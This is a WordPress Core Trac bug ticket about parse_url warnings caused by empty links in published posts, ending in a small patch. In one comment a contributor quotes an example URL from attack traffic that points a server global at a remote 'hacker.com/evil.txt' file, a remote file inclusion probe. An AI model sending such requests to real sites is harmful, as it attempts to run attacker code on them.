Make WordPress Core

Opened 14 years ago

Closed 14 years ago

#11029 closed defect (bug) (fixed)

parse_url errors

Reported by: miqrogroove's profile miqrogroove Owned by: westi's profile westi
Milestone: 3.0 Priority: normal
Severity: normal Version: 2.8.4
Component: Warnings/Notices Keywords: has-patch tested
Focuses: Cc:

Description

I'm seeing this frequently enough to bother me:

PHP Warning: parse_url(http://) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /wp-includes/functions.php on line 1172

Might be related to #7288, but I'm running a much newer version.

Attachments (3)

11029.patch (569 bytes) - added by miqrogroove 14 years ago.
11029.2.patch (1.6 KB) - added by miqrogroove 14 years ago.
Training wheels version
11029.2.2.patch (1.6 KB) - added by miqrogroove 14 years ago.
Training wheels version

Download all attachments as: .zip

Change History (22)

#1 @dd32
14 years ago

  • Component changed from General to Warnings/Notices
  • Owner set to westi

That is related to enclosures..

Can you post the content of a post which will trigger it?

It looks like having simply "http://" in the source of a post may trigger it.. or it may be a different url (thus the request for the content) to see whats triggering it.

#2 @scribu
14 years ago

  • Keywords reporter-feedback added

#3 @miqrogroove
14 years ago

Actually I have no idea what triggers the error. Yes, it could be related to post editing, or anything else for that matter.

#4 @dd32
14 years ago

Where are you seeing the error message then? Given the code it was in, I was assuming i was related to viewing/editing posts

#5 @miqrogroove
14 years ago

I'm just reading my PHP error log. Display_errors is disabled of course. I realize this is probably unrelated, but here's an excerpt from the latest log:

[31-Oct-2009 09:10:12] PHP Warning: gzuncompress() [<a href='function.gzuncompress'>function.gzuncompress</a>]: data error in wp-includes/http.php on line 1792
[31-Oct-2009 09:10:13] PHP Warning: gzuncompress() [<a href='function.gzuncompress'>function.gzuncompress</a>]: data error in wp-includes/http.php on line 1792
[31-Oct-2009 09:10:13] PHP Warning: gzinflate() [<a href='function.gzinflate'>function.gzinflate</a>]: data error in wp-includes/http.php on line 1787
[31-Oct-2009 09:10:14] PHP Warning: gzinflate() [<a href='function.gzinflate'>function.gzinflate</a>]: data error in wp-includes/http.php on line 1787

#6 @dd32
14 years ago

  • Milestone changed from 2.9 to Future Release

Those gz*() errors are expected on the 2.8 branch whilst attempting to open remote pages which are compressed.. Quite possibly unrelated however.. but could be related.. Those gz*() messages shouldn't occur under 2.9

Until someone can work out what exactly is triggering it, i'm going to set this to a future release,

#7 @miqrogroove
14 years ago

I will need to do some testing to see if this is relevant, but I just found something unexpected in a comment form:

<input type="text" name="url" id="url" value="http://blogyul.miqrogroove.com/http://"

I can only make guesses at this point, so I'll let you know what I find.

#8 @miqrogroove
14 years ago

bah probably just something that got saved last time I was testing. Don't mind me :)

#9 @miqrogroove
14 years ago

  • Resolution set to worksforme
  • Status changed from new to closed

I'll make a new ticket if I come up with a reproducable warning.

#10 @ryan
14 years ago

  • Milestone Future Release deleted

#11 @miqrogroove
14 years ago

Still getting these errors on version 2.9.2.

#12 @miqrogroove
14 years ago

  • Keywords needs-patch added; reporter-feedback removed
  • Milestone set to 3.0
  • Resolution worksforme deleted
  • Status changed from closed to reopened

Found it by reconciling logs. There's a cron job that throws this error when a post is published with invalid links in it.

#13 @Denis-de-Bernardy
14 years ago

I think this is can safely be closed as invalid.

I occasionally ever the error in my logs, but it's always when hackers try to override a global using urls such as:

http://example.com?_SERVER[DOCUMENT_ROOT]=http://hacker.com/evil.txt

#14 @miqrogroove
14 years ago

Denis, shush :)

Steps to reproduce:

  1. Add New Post
  1. Add some text.
  1. Highlight some text.
  1. Click the Insert/edit link button.
  1. Click the Insert button.
  1. Click Publish.

Expected Result: No errors.

Actual Result: [28-Feb-2010 12:14:44] PHP Warning: parse_url(http://) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /wp-includes/functions.php on line 1191

#15 @Denis-de-Bernardy
14 years ago

can you use debug_fopen() to log what urls it's trying to parse?

@miqrogroove
14 years ago

#16 @miqrogroove
14 years ago

  • Keywords has-patch tested added; needs-patch removed

@miqrogroove
14 years ago

Training wheels version

@miqrogroove
14 years ago

Training wheels version

#17 @nacin
14 years ago

miqrogroove, do you have a patch preference?

#18 @miqrogroove
14 years ago

11029.2.2.patch is proper if you're willing to change 15 lines to fix one PHP warning.

11029.patch is more patch-like and fixes the immediate issue.

Both are fine with me.

#19 @nacin
14 years ago

  • Resolution set to fixed
  • Status changed from reopened to closed

(In [14116]) Some sanity checks for parse_url in do_enclose. props miqrogroove, fixes #11029

Note: See TracTickets for help on using tickets.